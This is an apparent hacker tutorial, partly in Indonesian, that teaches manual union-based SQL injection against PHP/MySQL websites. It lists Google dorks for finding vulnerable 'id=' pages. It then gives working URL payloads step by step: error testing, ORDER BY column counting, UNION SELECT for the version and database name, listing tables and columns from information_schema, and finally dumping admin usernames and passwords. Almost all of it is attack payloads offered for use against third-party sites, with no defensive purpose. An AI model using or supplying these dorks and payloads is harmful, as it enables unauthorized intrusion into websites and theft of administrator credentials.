Keyword you need to know

——————————-
Character : ‘, – 
Comments : /*, —
——————————-
Information: “Information_schema” just working our for version 5.x and above 

Google Dork that will be used is ->



“inurl:news.php?id=”

“inurl:index.php?id=”
“inurl:trainers.php?id=”
“inurl:buy.php?category=”
“news-article.php?id=”
“inurl:article.php?ID=”

————————-First Step————————-


 www.target.com/news.php?id=1

—add the character at the end of the url to see if the site is vuln to
sql injection or not.

inject sample code:-


www.target.com/news.php?id=1‘ 

or
www.target.com/news.php?id=1

Examples of error messages :-

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near line 1

warning: mysql_fetch_array(): supplied argument is not a valid MYSQL

result resource in D:inetpubwwwrootajpower.nethtmlnews.php on line

————————-Second Step————————-


Find the number of tables available in the database.

Add : +order+by+1– at the end of url
Contoh:

Code:

www.target.com/news.php?id=1+order+by+1– 
atau
www.target.com/news.php?id=1+order+by+1/* check in stages
www.target.com/news.php?id=1+order+by+2/*
www.target.com/news.php?id=1+order+by+3/* keep looking untill error out

For this tutorial table amount obtained was 3.


————————-Third Step————————-


Use the Union command to remove the numbers that we use later.

order to be used : +union+select+1,2,3– end of the url


Example

www.target.com/news.php?id=1+union+select+1,2,3–

Example: number 2 out.


then we enter the version() in number (2),


Example:

www.target.com/news.php?id=1+union+select+1,version(),3–

and the display version will appear in the figures.

Example:
5.1.47-community-log

——

|info|
—— 

version() = to see msql version used

database() = to see the database name used



————————-Fourth Step————————-


to see, the names of the table that is in the web, order

table_name park in the figures that came out earlier -> (2)
+from+information_schema.tables– —> park behind the last digit.

Example:

www.target.com/news.php?id=1+union+select+1,table_name,3+from+information_schema.tables– 
or we add the command character- in front of the first digit
www.target.com/news.php?id=-1+union+select+1,table_name,3+from+information_schema.tables– 

————————-Step Fifth————————-

Remove all content is in the table,

group_concat(table_name) —> park in the figures that came out earlier (2)

+from+information_schema.tables+where+table_schema=database()– —> Put after the last digit.

Contoh:


www.target.com/news.php?id=1+union+select+1,group_concat(table_name),3+from+

information_schema.tables+where+table_schema=database()– 

————————-Step Sixth————————-


Exit right content is in TABLE


group_concat(column_name) —> park in the figures that came out earlier (2)

+from+information_schema.columns+where+table_name=0xResulOfConvertedTextTableAdmin–

(TABLE NAME HAS BEEN PUT IN TO CONVERT HEXADECIMEL)


——

|info|
—— 
Website that can be used to convert the table name to hexadecimel
—–> www.piclist.com/techref/ascii.htm
—–> www.centricle.com/tools/ascii-hex/

Column which we will use as example the table ADMIN

and convert results are 41444D494E

Example:


www.target.com/news.php?id=1+union+select+1,group_concat(column_name),3+from+

information_schema.columns+where+table_name=0x41444D494E– 

————————-Step Seven————————-


Remove the contents of the results that we managed to get from table Admin


concat_ws(0x3a,”column names contained in the table ADMIN”) —> park in the figures that came out earlier (2)

+from+Admin– –> The original column

Contoh:


www.target.com/news.php?id=1+union+select+1,concat_ws(0x3a,id,username,password),3+from+Admin– 


And we obtain the username and password admin for the website.
